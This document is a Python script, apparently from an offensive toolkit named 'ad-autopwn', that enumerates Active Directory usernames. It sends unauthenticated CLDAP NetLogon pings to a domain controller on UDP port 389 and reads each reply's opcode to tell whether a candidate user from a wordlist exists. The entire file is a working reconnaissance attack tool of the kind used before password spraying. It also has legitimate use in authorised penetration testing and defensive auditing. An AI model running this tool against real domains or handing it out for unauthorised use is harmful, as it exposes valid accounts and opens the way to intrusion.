#!/usr/bin/env python3 # userenum-cldap — Domain user enumeration via CLDAP (UDP 389) NetLogon ping. # # Sends an unauthenticated CLDAP search whose filter contains a candidate # username; the DC's NetLogon response opcode reveals whether the user # exists (LOGON_SAM_USER_UNKNOWN_EX = 0x13 = "no such user" — anything # else means the user was found). # # Technique attribution: Reino Mostert / SensePost, 2018 # (https://github.com/sensepost/userenum). This is a Python 3 port for # Triop AB's ad-autopwn — string-to-bytes adapted for asn1tools-py3. # # Usage: userenum-cldap # Output: "[+] exists" for each valid user # "[-] error message" on protocol/socket errors # "[*] status" for run lifecycle from __future__ import print_function import socket import sys try: import asn1tools except ImportError: print("[-] asn1tools not installed (pip install asn1tools)", file=sys.stderr) sys.exit(1) if len(sys.argv) != 4: print("Usage: userenum-cldap ") print("Example: userenum-cldap 10.0.0.10 corp.local users.txt") sys.exit(2) # CLDAP NetLogon search request structure (MS-ADTS §6.3.3). # References: # https://msdn.microsoft.com/en-us/library/cc223811.aspx # https://github.com/samba-team/samba/blob/master/examples/misc/cldap.pl SPECIFICATION = ''' Foo DEFINITIONS IMPLICIT TAGS ::= BEGIN LDAPMessage3 ::= SEQUENCE { messageID INTEGER, protocolOp [APPLICATION 3] SEQUENCE { baseObject OCTET STRING, scope ENUMERATED { baseObject(0), singleLevel(1), wholeSubtree(2), ... }, derefAliases ENUMERATED { neverDerefAliases(0), derefInSearching(1), derefFindingBaseObj(2), derefAlways(3) }, sizeLimit INTEGER, timeLimit INTEGER, typesOnly BOOLEAN, filters [0] SEQUENCE { filterDomain [3] SEQUENCE { dnsdomattr OCTET STRING, dnsdomval OCTET STRING }, filterVersion [3] SEQUENCE { ntverattr OCTET STRING, ntverval OCTET STRING }, filterUser [3] SEQUENCE { userattr OCTET STRING, userval OCTET STRING }, filterAAC [3] SEQUENCE { aacattr OCTET STRING, aacval OCTET STRING } }, returntype SEQUENCE { netlogon OCTET STRING } } } END ''' RESPONSE_SPEC = ''' Bar DEFINITIONS IMPLICIT TAGS ::= BEGIN LDAPMessage4 ::= SEQUENCE { messageID INTEGER, protocolOp [APPLICATION 4] SEQUENCE { objectName OCTET STRING, attributes SEQUENCE { partialAttribute SEQUENCE { type OCTET STRING, vals SET { value OCTET STRING } } } } } END ''' req_asn = asn1tools.compile_string(SPECIFICATION, 'ber') rsp_asn = asn1tools.compile_string(RESPONSE_SPEC, 'ber') dc_ip, fqdn, userlist = sys.argv[1], sys.argv[2], sys.argv[3] with open(userlist) as f: users = [line.rstrip() for line in f if line.strip()] # Static template; we mutate userval per query. template = { 'messageID': 0, 'protocolOp': { 'baseObject': b'', 'scope': 'baseObject', 'derefAliases': 'neverDerefAliases', 'sizeLimit': 0, 'timeLimit': 0, 'typesOnly': False, 'filters': { 'filterDomain': {'dnsdomattr': b'DnsDomain', 'dnsdomval': fqdn.encode()}, 'filterVersion': {'ntverattr': b'NtVer', 'ntverval': b'\x03\x00\x00\x00'}, 'filterUser': {'userattr': b'User', 'userval': b''}, 'filterAAC': {'aacattr': b'AAC', 'aacval': b'\x10\x00\x00\x00'}, }, 'returntype': {'netlogon': b'Netlogon'}, }, } total = len(users) print("[*] Starting CLDAP userenum against {} ({}) — {} candidates" .format(dc_ip, fqdn, total), flush=True) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.settimeout(5.0) # Progress prints every PROGRESS_EVERY users, capped to one print per # PROGRESS_MIN_INTERVAL seconds so very small runs don't get noisy. import time as _time PROGRESS_EVERY = 25 PROGRESS_MIN_INTERVAL = 5.0 last_progress_t = _time.monotonic() found = 0 for i, user in enumerate(users, 1): template['protocolOp']['filters']['filterUser']['userval'] = user.encode() encoded = req_asn.encode('LDAPMessage3', template) try: s.sendto(encoded, (dc_ip, 389)) data, _ = s.recvfrom(2048) decoded = rsp_asn.decode('LDAPMessage4', data) nl_blob = decoded['protocolOp']['attributes']['partialAttribute']['vals']['value'] # value is a bytes blob; first byte is the NETLOGON opcode. # 0x13 (19) = LOGON_SAM_USER_UNKNOWN_EX (user does NOT exist). # Anything else (commonly 0x17 for found) means the user exists. opcode = nl_blob[0] if isinstance(nl_blob, (bytes, bytearray)) and nl_blob else None if opcode is not None and opcode != 0x13: print("[+] {} exists".format(user), flush=True) found += 1 except asn1tools.codecs.DecodeError: print("[-] Decode error (wrong domain FQDN? must be e.g. CORP.LOCAL not CORP)", file=sys.stderr, flush=True) except (socket.timeout, TimeoutError): # No reply within 5s — DC might rate-limit or filter; skip user. pass except OSError as e: print("[-] Socket error: {}".format(e), file=sys.stderr, flush=True) break # Periodic progress so the operator sees liveness on long runs. now = _time.monotonic() if i % PROGRESS_EVERY == 0 and (now - last_progress_t) >= PROGRESS_MIN_INTERVAL: pct = 100.0 * i / total print("[*] progress: {}/{} ({:.1f}%) — {} valid so far" .format(i, total, pct, found), file=sys.stderr, flush=True) last_progress_t = now print("[*] Done — {} valid user(s) found".format(found), flush=True)